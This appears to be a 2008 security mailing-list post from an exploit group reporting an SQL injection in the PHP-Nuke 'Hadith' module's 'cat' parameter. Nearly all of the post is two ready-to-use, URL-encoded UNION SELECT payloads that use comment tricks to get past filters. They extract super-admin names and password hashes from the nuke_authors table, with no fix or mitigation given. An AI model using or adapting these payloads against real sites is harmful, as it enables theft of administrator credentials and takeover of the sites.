Related information

Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

VHCS <= 2.4.7.1 (vhcs2_daemon) Remote Root Exploit

[ GLSA 200803-15 ] phpMyAdmin: SQL injection vulnerability

[SECURITY] [DSA 1514-1] New moin packages fix several vulnerabilities

From:	lovebug_(at)_hotmail.it <lovebug_(at)_hotmail.it>
Date:	10.03.2008
Subject:	PHP-Nuke SQL injection Module "Hadith" [cat]

R B T - 4     C R E W       www.rbt-4.net

-----------------------------------------------
AUTHOR : Lovebug



PHP-Nuke Module "Hadith"  [cat]         Sql injection

Original Advisory:
http://www.rbt-4.net/forum/viewthread.php?forum_id=51&thread_id=3078


Exploit

-
1%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2F%2
A%2A%2F0%2Caid%2F%2A%2A%2Ffrom%2F%2A%2A%
2Fnuke_authors%2F%2A%2A%2Fwhere%2F%2A%2A%2Fradmin
super%3D1%2F%2A

-
1%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2F%2
A%2A%2F0%2Cpwd%2F%2A%2A%2Ffrom%2F%2A%2A%
2Fnuke_authors%2F%2A%2A%2Fwhere%2F%2A%2A%2Fradmin
super%3D1%2F%2A